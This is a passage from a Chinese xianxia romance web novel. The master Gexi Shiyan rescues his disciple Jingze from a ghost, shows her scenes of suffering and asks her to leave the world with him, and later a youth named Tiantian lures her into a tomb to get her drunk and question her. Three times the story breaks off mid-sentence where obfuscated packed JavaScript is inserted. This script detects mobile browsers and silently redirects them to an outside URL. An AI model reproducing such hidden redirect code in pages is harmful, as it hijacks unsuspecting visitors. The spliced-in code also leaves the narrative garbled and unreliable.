松木香清冽入鼻,正是纥奚时砚。他不知何时已入湖中,一手揽紧她的腰,一手撑起金色屏障,将刺骨湖水隔绝在外,目光落在景泽脖颈间,只见十道青紫色指印,触目惊心。 纥奚时砚眸色蓦地一沉。 那女鬼被金光所伤,一手近乎废去,黑血不止,眼中闪过忌惮,转身便欲借水势遁逃。她万万没料到,广寒宫阙之主会来得如此之快。 伤了他爱徒,纥奚时砚岂容她就此离去?他揽着景泽,另一只手用力推出,掌心金光暴涨,万千细如发丝的金线激射而出。 金线锋利无匹,穿水而过,将湖水割裂出道道痕迹,宛若天罗地网,朝女鬼笼罩而去。 女鬼仓皇躲闪,可金线仿若有灵,无论她逃往何方,皆能精准封堵。 不过三息之间,金线便将她周身缠紧,缚得动弹不得。 金线勒入皮肉,女鬼惨叫连连,声声凄厉,身形在金线绞杀之下,寸寸碎裂。红衣碎片混着黑血,在湖水中飘散,转瞬便成一滩肉泥。 景泽刚松一口气,却见那碎裂肉身之中,骤然窜出一道红光,冲破湖水,眨眼间便遁入灵湖深处,不见踪影。 原来方才那具躯体,不过是女鬼幻化的皮囊,其元神早已逃脱。 纥奚时砚望着红光遁去的方向,眸色微凝,此女鬼究竟是何方妖孽,竟能突破他的赤金灵障,潜入广寒宫阙? 他方才一击,虽毁其肉身,却未伤其元神,终究是让她逃了。 更令他费解的是,景泽修为低微,身无至宝,亦无特殊血脉,这女鬼为何偏偏找上她,还逼她为己所用?其中缘由,着实蹊跷。 正沉吟间,忽觉衣袖被轻轻牵动,低头看去,小景泽竟已在他怀中睡着,唇瓣微动,喃喃说着什么。 纥奚时砚俯身,侧耳细听,小景泽说的是:“……师尊。” · “掐了这许久人中,怎的阿泽妹妹还不醒?莫不是出了什么变故?” “不妨事,她呼吸平稳,只是沉睡罢了。” “怎会不妨事!你看她面色这般苍白!我的阿泽妹妹,你若有不测,我云逍往后可怎么活!” “莫要在此聒噪,蔡乔,不如你给她做人工呼吸,试试能否唤醒?” “好,我这便来……” “且慢!阿泽妹妹的事,自然该由我来!” 景泽躺在客栈床榻之上,意识昏沉,本想再歇片刻,可耳畔嘈杂之声不绝于耳,吵得她头疼欲裂,终是勉强睁开双眼。 入目便是一张脸,双唇撅起,正缓缓朝她凑近,脸上还带着几分陶醉之色。 景泽吓得浑身一激灵,汗毛倒竖,不等那人靠近,抬手便是一掌,精准拍在对方脸上,将其狠狠推开。 “云逍!你竟敢乘人之危!” 她猛地从床上跳起来,厉声呵斥。 云逍被推得偏过头,脸上印着清晰的掌印,却无半分心虚,反倒面泛红潮,摇着折扇道: “阿泽妹妹此言差矣!我见你久唤不醒,一心想救你,何来乘人之危?你且看,江染与蔡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云逍看在眼里,心中妒火中烧,手中折扇被捏得咯吱作响,江染眼疾手快,一把按住他的手腕,用眼神示意他不可轻举妄动。 这黑袍公子能轻易将他们救出红市,修为深不可测,若是惹恼了他,后果不堪设想。 云逍咬牙切齿,死死盯着黑袍公子的手,心中早已将其骂了千百遍,生怕景泽被他蛊惑,又急又怒,却不敢发作。 蔡乔站在角落,双手紧攥衣角,暗自戒备。 小小的客栈房间,因这黑袍公子的到来,暗流涌动,气氛紧绷。 “烧已退了。” 黑袍公子收回手。 “此后切莫碰凉水,好生休养,遇事勿要独自硬扛,往后有难事,可寻我来帮忙。” 此言一出,云逍、江染、蔡乔三人皆是一怔。 景泽尴尬地轻咳两声,掩饰心中异样,她想起此前黑袍公子所言,说她酷似他走失的徒儿,想来他这般照料,皆是看在那徒儿的份上。 可她心中,依旧隐隐觉得不妥。 她悄悄抬眼,看向黑袍公子垂在身侧的左手,那只手修长白皙、骨节分明,无名指处却空空如也。 他当真为了赌局自断了一指。 仅仅因为容貌相似,便出手相救,还这般悉心照料? 景泽行走江湖,见惯了人心险恶,深知世间从无无缘无故的好意。此人来路不明,修为莫测,对他们这般倾力相助,必是有所图谋。 可双方实力悬殊,他们四人联手,也绝非其对手。景泽心中飞速盘算,最终打定主意,敌不动,她不动,且静观其变,再做打算。 纥奚时砚见她垂首不语、暗自思忖的模样,嘴角勾起一抹浅淡的笑意。 他抬手,自然无比地揉了揉她的发顶:“在想什么?可是在猜,我是好人还是恶人,救你们有何目的,接下来又会待你如何?” 景泽心头猛地一震。 纥奚时砚缓步上前,景泽不由自主地后退,直至后背抵住冰冷墙壁,退无可退。 景泽仰起头,声音微微发颤:“你……你当真要收我为关门弟子?” 纥奚时砚闻言,轻笑一声。 “你猜猜看,我先带你去几处地方罢。” 27. 人间 听得黑袍公子要带景泽离去,云逍心头一急,哪里还顾得上其他,当即跨步上前,扯开嗓子喝道: “站住!你要带阿泽妹妹去往何处?若真要强行带走她,先过我这一关再说!” 他这番话喊得气势汹汹,可话音刚落,纥奚时砚缓缓抬眸,威压感极强的目光淡淡往他身上一扫,云逍只觉周身一寒,方才挺起的胸膛瞬间塌了下去,脖子也缩了半截,满腔豪气顿时散得无影无踪。 纥奚时砚嘴角微撇,露出一抹轻哂:“就凭你?” “我……” 云逍喉头一哽,一时语塞,竟是半个字也辩驳不出。 景泽瞧得心惊,深知这黑袍公子修为深不可测,若是当真动怒,自己与云逍等四人,怕是无一人能全身而退。 她连忙上前,软声拦住纥奚时砚:“我随你走便是,切莫与他计较……” 纥奚时砚低下头,目光落在景泽拽着自己衣袖的小手上,唇角不自觉地微微上扬。 这黑袍公子容貌本就俊朗非凡,这一笑更显温润,可不知为何,景泽总觉得此人周身透着一股说不出的诡异,让人捉摸不透。猛然惊觉自己还抓着对方衣袖,她慌忙松手,往后微退半步,轻声致歉: “对不住,我并非有意冒犯。” 说话间,她抬眼望向纥奚时砚,眨了眨眼睛。 此刻她脸上沾了不少尘土,脏兮兮的,加上眼神又带着几分怯生生的歉意,瞧得纥奚时砚心头一软,只觉整颗心都要被这模样化了。 景泽见他久久不语,以为是自己方才举动唐突,惹得对方不快,心中愈发心虚,手足都有些无措。 正忐忑间,忽见纥奚时砚俯身,缓缓朝她贴近,一股清冽的松木气息扑面而来,萦绕在鼻尖。 “……!” 这气味好生熟悉……可此刻景泽无暇细想,只觉心脏如鼓,砰砰直跳。 见对方抬手朝自己伸来,她心头一沉,暗叫不妙,此番怕是要遭他毒手了! 哪知预想中的痛楚并未袭来,只听得耳边传来一声清脆响指,转瞬之间,周遭景物尽数变换。 再睁眼时,自己竟已坐在一只硕大无朋的火凤凰背上,狂风呼啸而过,将她的发丝吹得漫天乱舞。 景泽低头望去,身下是连绵无际的崇山峻岭,云雾缭绕山间,身处这般高空,只要稍一失手跌落,定然粉身碎骨化为一摊肉泥。 她倒吸一口凉气,哪里还敢多看,忙收回目光,双手死死攥住火凤凰背上的羽毛。 这火凤凰生性娇贵,被她这般用力攥住,当即昂首发出一声尖锐长啸,声震云霄。 卧槽,景泽被这声响吓了一跳,指尖一松,连忙松开了羽毛。 “若是害怕,便抓着我。”一只宽厚温热的手掌,忽然从她身后伸了过来。 “……!” 景泽急忙转头,这才发觉,这火凤凰背上并非只有自己一人,那黑袍公子此刻正坐在她身后。 黑袍公子身形挺拔,比景泽高出整整一个头,这般坐姿,景泽竟如同倚在他怀中一般,亲密至极。 “不让你坐于身后,乃是怕凤凰飞腾之际,你不慎跌落,我来不及照应。”纥奚时砚如是说道。 景泽每次与他对视,心跳总会莫名加快,她强压下心头悸动,努力平复心绪,沉声问道:“我们此番,是要去哪里?你不会是要带我私奔吧?”她记得,话本里经常有这种情节的。 “……” 纥奚时砚沉吟片刻,淡淡回道:“一会儿就知道了。” 原来不是私奔,景泽点了点头,转回头去,不再多言。 身旁那只手掌依旧悬在半空,只见那手白皙修长,骨节分明,生得极是好看。 “当真不需抓着我的手?” 纥奚时砚低沉温和的嗓音,从头顶缓缓落下,带着几分诱哄。 身下火凤凰飞行极快,穿梭云海之际,不时变幻身姿,颠簸不已,景泽坐在背上,身子摇摇晃晃,根本难以坐稳。 生死关头,哪里还顾得上儿女情长的羞涩,当即在保命与逞强之间,选了前者。 她咬了咬牙,伸手握住了那只宽厚的手掌,“谢谢……” 这个姿势,纥奚时砚的胸膛紧紧贴在她的后背,温热的体温透过衣衫传来,清晰可感,就连他平稳舒缓的心跳声,也一下不落地传入了她耳中。 景泽心头一慌,喉头滚动,脸颊瞬间烧得通红。 她暗自懊恼,对方不过是好心护着自己,怕自己跌落,自己却胡思乱想,实在是龌龊不堪。 纥奚时砚见她脸色难看,身子微微发颤,只当她仍是害怕,当下又伸出另一只手,温声道:“若是一只手不够,我这还有一只,你尽管抓着。” 景泽下意识抬眼望去,只见这只手上少了一根无名指,心头猛地一沉,方才心头的那点旖旎情思,瞬间烟消云散,连忙摇头:“不……不必了,我能稳住。” “那好吧。” 纥奚时砚瞧着她这般逞强模样,无奈摇了摇头。 也罢,有他在身侧,即便她不牵手,也定然不会让她有半分闪失,适才伸手相扶,不过是让她心里多几分安稳罢了。 · 火凤凰载着二人,飞掠千里,最终落在一座残破不堪的小城之中。 景泽满心疑惑,正欲发问,却见纥奚时砚衣袖轻挥,眼前光影变幻,周遭场景骤然转换。 再定神时,二人已身处一间简陋民屋之中。 屋内陈设破旧,一眼便知屋主人家境贫寒,日子过得极为艰难。不多时,屋内走出一位年约七旬的老妪,与一个四十余岁的中年男子,二人眉头紧锁,神色凝重,步履匆匆地往外走去。 见二人迎面走来,景泽下意识侧身避让,哪知他们竟径直从自己身体穿了过去,仿若未曾看见一般。 景泽心头一震,转头看向身侧的纥奚时砚,低声问道:“他们看不到我们,是么?” 纥奚时砚微微颔首,沉声道:“不必多言,跟上去便是。” 二人紧随老妪与中年男子出了屋子,只见院子里站着一位须发皆白的老大夫,背着药箱,已然等候多时。 方才在屋内,老妪还强撑着镇定,此刻见到老大夫,脸上的伪装瞬间崩塌,满脸焦急溢于言表,上前一把拉住大夫衣袖,声音颤抖:“大夫,我家老伴病情如何?求你实话实说,莫要瞒我!” 那中年男子也满脸焦灼,眼巴巴地望着老大夫。老大夫行医数十载,见过无数生离死别,深知这母子二人的心情,当下长叹一声,语气沉重: “病人脉象微弱,心脉衰竭已到极致,回天乏术,你们……尽早准备后事吧。” 老妪闻言,身子一软,险些瘫倒在地,幸亏中年男子眼疾手快,连忙上前将她扶住。 这老大夫在当地行医三十余年,医术高明,乃是方圆百里最有名的医者,他既已说出这番话,便意味着老伴定然无药可救了。 老大夫离去后,老妪与中年男子坐在院子里,相对无言。二人强忍着眼眶中的泪水,低声商议,决意不将真相告知老伴,让他安安稳稳地走完最后一程;又盘算着该通知哪些亲友,后事如何操办,家中微薄的积蓄,能否打得起一副薄棺。 景泽早年也曾亲历生离死别,最见不得这般人间惨事,看着母子二人强压悲痛、默默筹划后事的模样,只觉心口像是被一只无形的手紧紧攥住,闷得喘不过气来。 商议妥当,老妪心力交瘁,无力进屋,中年男子便独自推门进去,探望老父。景泽与纥奚时砚也跟着进了内室。 只见床上躺着一位苍老的老头,周身病痛缠身,咳嗽不止,气息微弱。 见儿子进来,他强忍着周身剧痛,费力地想要坐起身来。 中年男子看着父亲虚弱不堪的模样,又想起老大夫的话,眼眶一红,泪水险些夺眶而出,忙强自忍住。 老头颤巍巍地拉住儿子的手,眼神中带着一丝希冀,急切问道:“儿啊,我的病……是不是还有救?我听闻前街老张头,得的与我是一样的病,最后不也痊愈了?我……我也能好起来的,是吗?” 世间众人,各有执念,有人追名逐利,有人贪恋富贵,可眼前这老头,所求的不过是简简单单活下去罢了。 老张头能痊愈,只因发现病症及时,又家境殷实,不惜花费重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539042|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金求医问药,自然能保住性命。可自家父亲,一生清贫,平日里小病小痛总是硬扛,从不舍得花钱医治,拖到如今,已然病入膏肓,这其中的差距,又怎能相提并论? 中年男子心中酸楚,却不敢流露半分。忽的想起两年前,父亲身子尚健之时,曾拉着他,说起自己早逝的母亲,那时父亲满眼惆怅,声音哽咽:“我三十六岁那年,便没了娘。她那病本是有救的,可家里太穷,抓不起药,请不起大夫。她知晓家里难处,从未怨过我们,最后……竟是活活疼死的啊!” 当年奶奶被病痛折磨而死,如今父亲也要走上同样的绝路。中年男子心如刀绞,却只能咬紧牙关,强装笑颜,说出了此生最违心的谎言。 “爹,大夫说了,您这病不打紧,能治!您安心休养,按时吃药,过不了多久,就能下床走动了。” 老头闻言,浑浊的眼中闪过一丝光亮,脸上的愁容渐渐舒展,点了点头,缓缓闭上了眼睛。 中年男子帮父亲掖好被角,不敢多做停留,怕自己再待下去,会忍不住哭出声,当即逃也似的退出了房间,轻轻带上了房门。 当最后一缕光线被房门隔绝,老头紧闭的双眼缓缓睁开,望着斑驳的屋顶,眼眶渐渐湿润,先是低声抽泣,随即再也压抑不住,放声嚎啕起来。 那苍老悲戚的哭声,在空荡荡的房间里回荡,听得人肝肠寸断。 他活了大半辈子,怎会看不透自己儿子的心思,那眼神中的闪躲与悲痛,早已告诉了他所有答案。 景泽站在一旁,将这一切尽收眼底,满心都是说不出的酸楚与无奈。 纥奚时砚见状,衣袖再挥,眼前光影流转,场景再度变换。 此番竟是一处历经战乱的村庄,断壁残垣,满目疮痍,尸身横陈路边,饿殍遍地,满目凄凉。每走一步,都能见到奄奄一息、苟延残喘的百姓,个个面黄肌瘦,早已饿得前胸贴后背。 景泽正心惊间,忽见不远处,两个衣衫褴褛的男子,各自抱着怀中尚在襁褓中的婴儿,相互交换。 她心头一紧,隐隐有了一个可怕的念头,却不敢细想,颤声问道:“他们……他们这是在做什么?为何要互换孩子?” 纥奚时砚神色平静,语气却带着几分沉重,缓缓吐出四字:“他们在易子而食。” “易子而食”四字入耳,景泽如遭雷击,瞳孔骤缩,声音发颤:“那是他们的亲生骨肉啊!虎毒尚不食子,他们怎能做出这般事?难道就没有半分亲情?” “正因为有感情,舍不得亲手伤害自己的骨肉,才会出此下策。”纥奚时砚淡淡道。 景泽只觉呼吸一滞,浑身冰冷,她实在无法想象,究竟是何等绝境,能让为人父母者,忍痛将亲生孩儿送与他人果腹。 她摇着头,不肯相信:“世上总有别的活路,为何非要如此?一定还有其他办法……” 纥奚时砚:“当活下去成为人唯一的本能时,世间所有伦理道德,都会被抛之脑后,人会做出任何事。” 纥奚时砚不愿景泽见这太过血腥残酷之景,衣袖轻挥,再次转换场景。 这一次,眼前是一座青石小桥,桥上立着一名素衣女子,脸上泪痕交错,神色凄楚绝望,满眼都是心碎与悲凉。 只听那女子对着虚空,声嘶力竭地悲痛控诉:“木郎!你好狠的心!我为你倾尽所有,付出一切,甚至为你背负杀人罪孽,你为何要弃我如敝履?为何任由那女子百般欺辱于我?你若不喜我,大可直言告知,何必这般折辱我、折磨我!” 一番血泪控诉毕,女子眼神决绝,没有半分迟疑,纵身一跃,从桥上跳入冰冷的江水之中。 景泽大惊,想也不想便跟着纵身跃下,伸手想要拉住那女子,将她救上岸来。 可她猛然想起,此刻自己不过是虚影之身,任凭她如何奋力,都无法触碰女子分毫,只能眼睁睁看着那女子在水中挣扎片刻,一点一点没了动静,最终香消玉殒,沉入江底。 最后,景泽颓然回到纥奚时砚身边,满心无力与悲戚,抬头望着他,苦笑道: “所以,你带我看这世间生离死别、战乱疾苦、人情冷暖,究竟有何用意?” 28. 执念 黑袍公子默然不语,打了个响指,二人又回到了火凤凰背上。 景泽坐在前方,望着火凤凰振翅破空,心下不由得生出几分不安,大喊道:“喂!你适才引我见那诸多景象,究竟是何用意你还没告诉我!你现在又要带我去哪里!” 景泽连声追问,纥奚时砚不答,伸手想牵她,却被她猛地挣脱。纵是心中恐高害怕,景泽也定要问个明白,她绝不肯糊里糊涂任人摆布。 岂料纥奚时砚全然不顾她挣扎,铁钳般的手直接攥住了她的手腕,语声中满是隐忍克制:“好,既然你想知道,那我便告诉你。” 顿了顿,他说:“我所求唯有一事,你跟我走。” “走?只因我形貌酷似你走失的徒儿,你便要强行将我带走?” 她奋力挣扎,可那只手稳如磐石,令她动弹不得分毫。 兄长血仇未报,蔡宇妻子被害,真凶逍遥法外,江染一众伙伴还在等她,她身负这般重任,又能去往何处?如何走得脱? 纥奚时砚早知她心中所思,见她这般倔强执拗,强压下翻涌的心魔,沉声道:“适才我带你遍观世间生离死别、战乱疾苦、人情冷暖,便是要你知晓,众生皆苦,因果循环自有定数,绝非你一介弱女所能撼动。你修为浅薄,根本无力解救世人,更何况,那些芸芸众生,本就不需你搭救,也不值得你舍身相护。你这般奔波劳碌,到头来不过是自我感动,徒惹一身凶险罢了。你本是寻常小姑娘一个,不该沾染这世间纷争。” 景泽听得此言,一时怔住,眸中微光闪动,怔怔望着他那双琥珀色眼眸,半晌说不出一句话来。 纥奚时砚再次说出目的,语气笃定,不容半分回绝:“跟我走,我带你寻一处与世隔绝的桃源之地,保你一生安乐无忧,做这天下最快活的女子。” 身下火凤凰御风疾飞,狂风扑面,刮得她肌肤几乎麻木。景泽难以置信地望着他,终是缓缓摇头,眼神渐趋清明坚定,再无半分动摇: “对不起,我不能跟你走!我尚有诸多要事未了,绝不能就此离去!” “为了这些凡尘俗事,这般颠沛流离,身陷险境,时时有性命之危,当真值得?” 纥奚时砚遭她拒绝,怒从心头起,眸底倏地腾起两簇幽微火焰,可惜景泽已然转头,凝望着前方天际,没有看到他这骇人的模样。 黑袍公子此问,景泽从未细想,只觉生而为人,有些事纵是千难万险,也不得不为。 当即朗声答道:“我心所愿,便是值得。” 纥奚时砚听了她这慷慨陈词,被气得不轻,费了好大心力才将躁动的心魔压制下去。他素来不愿让景泽见自己这般模样,竭力平复心绪,语声尽量平和,最后又问了一遍: “你当真执意不肯跟我走?你可想好了?” 景泽奋力挣脱他的手,重重点头,一字一句:“我不知你为何执意要带我走,但我还是想告诉你,我不愿接受你安排的人生,绝、不、愿、意!” 她咬着牙,字字铿锵。 纥奚时砚听罢,沉默良久,嗓音不觉有些沙哑:“你可曾想过,你这般一意孤行,飞蛾扑火,那些心系你、牵挂你的人,此刻心中早已血流成河、千疮百孔了……” 景泽:“我……” 罢了,纥奚时砚见她心意已决,也不强求,前路纵是刀山火海,有他在,必能护她周全。 想通此节,他的语气渐缓:“此刻,可要我送你回去?” 景泽本已打定主意,待火凤凰飞至江河湖面之上,便纵身跃下借机脱身,万没想到黑袍公子竟会主动送她回去,一时又惊又疑,几乎不敢相信自己的耳朵。 她结结巴巴道:“你……你真要送我回去?” 纥奚时砚释然一笑:“你不肯跟我走,我只能送你回去了。怎么,此刻反倒舍不得我了?” 景泽连忙摇头,得知此人对自己并无恶意,周身紧绷的心神顿时松快了几分。 她抬手指着下方一处小岛,柔声说:“哥哥,下方景致甚美,你将我放下便好,我可以自行回去。” 一句“哥哥”尚算寻常,可那语气间带着几分刻意亲近,纥奚时砚微微一怔,她这是在对自己撒娇? 纥奚时砚嘴角不自觉微微上扬,可转念一想,他这爱徒见到女的就叫‘姐姐’,见到男的就叫‘哥哥’,这般称呼自己不过是陌生客套,脸上那抹笑意瞬间没了,正色叮嘱: “不可这般唤我,换一个。” 景泽满心纳闷,问道:“那我该如何称呼你?” 纥奚时砚沉吟片刻,正色道:“称呼由你自己想,反正不能叫‘哥哥’。” 景泽尴尬点头,心想此番分别,日后未必再有相见之期,称呼一事也无关紧要,便随口应下糊弄了过去。 其实自纥奚时砚开口相问,火凤凰早已调转方向往回飞,此时距清洲城已不远,将她放下自行返程并无大碍。 那山野小岛之上,繁花盛放,妍丽异常,纥奚时砚略一思忖,终是依了景泽之意,吩咐火凤凰,将她放在了小岛上。 景泽纵身跃下凤凰背,正想着说几句客套话,就此辞别。 哪知凤凰背上的黑袍公子有自己的想法,开口告诫她道:“回去之后,好生思量该如何称呼我,下次相见,我可要听你亲口唤我。” “……!”他竟然如此执着这件事。 “知道了,定然不会忘!”景泽连忙应下。 待黑袍公子驭着火凤凰破空而去,消失在天际云端,景泽立马便将称呼之事抛到了九霄云外。下次相见不知何年何月,此刻还是先思量如何回去才是正事。 这座小岛草木甚是奇异,遍地鲜花异草,五色斑斓,绚烂如名家笔下的油画,美不胜收。 走着走着,景泽忽见一朵橘色奇花,花瓣隐隐泛着灵光,一时好奇,便伸手去采摘。指尖刚触碰到花瓣,十指指甲竟瞬间被染作橘红,鲜亮夺目。 “卧槽!这是何故?”她惊呼出声。 “此乃灵花,无需惊慌,其汁可作染甲之物,过几个时辰,色泽自会褪去。” 一个清朗的声音忽然从旁传来。 “原来如此,多谢……”景泽随口道谢,话音未落,陡然惊觉不对,这岛上除了自己,怎会有旁人?莫非是山野精怪不成? 她吓得心头一紧,急忙后退,不料脚下绊到一个滑软之物,脚下一空,重心顿失,一屁股坐了下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541109|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “哎哟!疼杀我也!”一声痛呼从身下传来,语气满是委屈。 景泽低头细看,这才发现自己竟坐在一个人身上,难怪触感绵软。 她伸手探了探对方手腕,温热有力,是个活人,顿时放下心来。 “喂!你还要坐到何时?快些起身,我快喘不过气了!”身下之人连声抗议。 景泽心中愧疚,急忙爬起身,连连致歉:“对不住对不住,我并非有意,实在是无心之失。” 只见一个身着绿衫、满头白发的少年揉着小腹,慢慢坐起身来。原是他师尊闭关一月,无人管束,他整日逍遥自在,白日卧于草地晒太阳,夜里挑灯看话本,总之就是不肯修炼。 今日天朗气清,他又如往常一般卧于花荫下晒太阳,怎料凭空冒出个凡间女子,竟一屁股坐在自己身上,当即心头火起,掌心凝聚灵力,便要出手教训。 可当他目光落在景泽脸上的刹那,掌心灵力瞬间消散无踪。 少年心中暗道:竟是她! 景泽见他死死盯着自己,眸中满是惊诧,不由得奇道:“你这般看着我,莫非我们是旧识?” 经她一问,少年本欲道出身份,忽又想起什么,话锋一转,拱手道: “纵使往日不识,此刻相逢,也算相识了。在下天天,敢问美眉芳名?” “景泽。” 天天听得此名,神色无波,心中却已然笃定,果然是她!此等关键之人,定要带回去让师尊一见,师尊定然愿意见她! 只是如何才能让这景泽心甘情愿随自己回去?天天手托下巴,沉吟半晌,目光无意间扫过景泽腰间斜挎的布包,顿时计上心头。 只见他指尖微勾,景泽腰间的布包竟凭空飞起,落入他手中。 景泽见随身挎包被夺,顿时急了:“快将包还我!” 天天将手往身后一藏,得意地吐了吐舌头:“偏不还你。” 景泽又急又气,当即上前争抢,天天拔腿就跑,一边跑一边回头挑衅:“来追我呀!追上我便还你!” 景泽又气又恼,心中暗骂,此刻她乃是凡人身躯,论起脚力,如何比得上修行的天天。天天故意放水,见她追得吃力,便放慢脚步,让她觉得唾手可得,可待她伸手要抓住时,又陡然提速,再度拉开距离。 “快来追我!快来呀!”天天一路嬉笑,带着景泽奔逃,最终停在一面石壁之前。 景泽累得满头大汗,扶着双膝大口喘气,断断续续道: “前……前面没路了,我看你还往哪里跑!快……快把包还我!” 她怕逼急了少年,少年一怒之下毁了她的包,只好一面柔声哄劝,一面小心翼翼地缓步靠近。 天天把玩着手中布包,转头瞥了一眼石壁,下一瞬,只见他抬手轻触石壁,身形一晃,竟凭空消失不见了! “不好!”景泽心头一紧,连忙上前查看,四下搜寻却不见少年踪影。 最后,她目光落在石壁之上,这石壁必有玄机,当即学着少年模样,伸出指尖轻轻触碰石壁。 刹那间,白光骤起,晃得她睁不开眼。 景泽:……! 她竟也消失了。 29. 古墓 景泽身入石壁,方知里面另有乾坤。 但见一座恢弘古墓,豁然现于眼前,墓室开阔深远,廊柱纵横,结构繁复莫测。壁间嵌着长明烛火,昏黄光影摇曳,将四下映照得阴气森森。 “哼哼,既然进了我的地盘,就别走了呗。” 少年嬉笑之声,自身后悠悠传来。景泽心头一凛,急忙回身望去,只见那少年天天斜倚石墙,怀抱双臂,嘴衔一根狗尾草,眉眼间满是慵懒戏谑,正似笑非笑地望着她。 景泽登时醒悟,自己竟是不慎落入了这少年的圈套,身处这陌生古墓之中,心中不由得慌乱起来: “你费尽心思引我至此,究竟意欲何为?” 天天见她神色惊惶,敛了笑意,缓步上前,轻拍其肩,温声安抚道: “美眉莫怕,我并无害你之心,放宽心便是。” 景泽目光灼灼,半信半疑地盯着他。 天天轻叹一声,道:“随我来,我领你去一处地方。” 景泽心中虽有疑虑,却也别无他法,只得紧随天天,沿青石阶逐级而下。行至地下六层,一扇厚重石门横亘前路。 天天抬手按在旁边的骷髅头颅之上,轻轻旋动数转,那千斤石门便缓缓向两侧开启,积年灰尘簌簌落下,一股陈旧之气扑面而来。 天天当先迈步而入,回头见景泽立在门口,踌躇不前,索性上前伸手一拽,将她拉进室内,笑道:“怕什么?都说了不会伤害你,放心吧!” 景泽本以为门后藏着惊天玄机,入内方知,不过是一间形制不规则的石室。 室内陈设简陋,一床、一桌、一柜,外加几把桌椅,杂物堆放凌乱,除此之外,再无特异之处。 天天轻轻推着她的背,让她坐在椅子上。 景泽心中诧异:“然后呢?” “你且在此稍候,我去去便回。”天天郑重说道。 景泽凝眸看他片刻,微微颔首:“行,你去吧。” 天天转身便欲出门,行至门口又折返回来,指着桌上凌乱堆叠的书卷: “你若无聊,可取这些书册翻看,暂且打发时间。” 待天天离去,石室之中只剩景泽一人。她百无聊赖,随手自书堆中抽出一册,封面上赫然写着《巅峰修仙大法全集》。 想当年,景泽在师尊纥奚时砚门下修行,最厌便是这类功利至极的修行典籍。此类典籍文辞晦涩,义理艰深,若要参悟透彻,需耗费极大心力,苦不堪言。 她心中暗忖,这少年平日看似散漫不羁,竟还有这般刻苦向学之心,不由得对他多了几分刮目相看。 心念微动间,指尖已将书卷翻开。 这一翻不打紧,当看清了里面的内容后,景泽双目骤然圆睁,呼吸陡然一滞,心跳险些骤停。 果不其然,她就知道这少年绝非勤勉向学之辈! 景泽心中暗自嗔怪,手上却忍不住细细翻看品鉴,啧啧啧,原来这所谓修仙大法,竟是一册图文并茂、极尽露骨的春宫图谱! 另一边,天天沿石阶一路下行,来到另一扇石门前,此处乃是他师尊闭关修行之所,寻常时日,他绝不敢轻易前来惊扰,只是今日之事非同小可,纥奚时砚的弟子被他带了回来,这般大事,必须即刻禀告师尊。 他敛去嬉闹之色,在门外躬身行礼,禀道:“师尊,弟子外出归来,有要事相告,不敢有半分耽搁!” 石门之内,巨型阵法中央,一名身着宽大黑白道袍的男子,闭目盘膝端坐,周身灵气氤氲。其上半张脸隐在暗影之中,难辨容颜,听得门外声响,薄唇轻启,声音淡漠无波: “为师早已言明,世间纷争,再不过问。” “寻常琐事,弟子自然不敢惊扰师尊,可此事,师尊定是极感兴趣!”天天急声说道。 “讲。”道袍男子只吐出一字。 天天难掩兴奋,朗声回道:“弟子已将纥奚时砚之徒景泽,带来我石室之中!” 话音刚落,石门内那男子双目骤然睁开,眸中闪过一抹难掩的惊喜。 他寻纥奚时砚整整三载,遍寻天下都毫无踪迹,如今他的弟子落于手中,正是探寻纥奚时砚下落的绝佳契机! 他当即沉声吩咐:“做得好!务必将人看紧,绝不可放其离去!无论你用何等法子,定要逼她说出纥奚时砚的藏身之处!” 师尊之命,天威难违,天天当即垂首应道:“弟子遵命,定不辱使命!” 这边石室之中,景泽正看得入神,忽闻脚步声响,抬头便见天天拎着数壶烈酒,大步踏入,神色间带着几分急切。 景泽大惊,忙将春宫图册掷于一旁,纵身跃起,后退数步,厉声喝道:“你想做什么?!” “无事,只想与美眉拼一场酒。” 天天抬手,把桌上那堆占位置的春宫图尽数扫落地上,将几壶烈酒重重顿在桌面。 师尊命他逼问纥奚时砚下落,可景泽与纥奚时砚师徒情深,寻常言语相询,她定然不肯吐露半分。常言道酒后吐真言,他早知景泽酒量浅薄,只需将她灌醉,便可轻易套出实情。 景泽又气又恼,只觉此事荒谬至极。 “你费尽心力引我至此,便是让我看春宫图,再与你拼酒?” 天天挑眉,“怎地,美眉是怕了不成?” 景泽冷笑道:“怕你?简直是天大的笑话!拼就拼,谁怕谁!” 天天拿起一壶酒,隔空掷向景泽,朗声道:“既如此,便来一试高下!” 景泽伸手接住酒壶,在手中掂了掂,沉声道:“比试可以,但若我赢了,你需将我的挎包归还于我,这是条件。” 那包本就无甚用处,天天当即应道:“一言为定,请!” 景泽不再多言,举起酒壶,仰头猛灌一大口,酒液入喉,辛辣无比,她忍不住喘了口气,眨了眨眼,道:“该你了……” 天天毫不迟疑,拎起酒壶,亦是一饮而尽。他刚放下空壶,却见对面景泽已然伏在桌上,身形摇摇欲坠,醉态尽显。 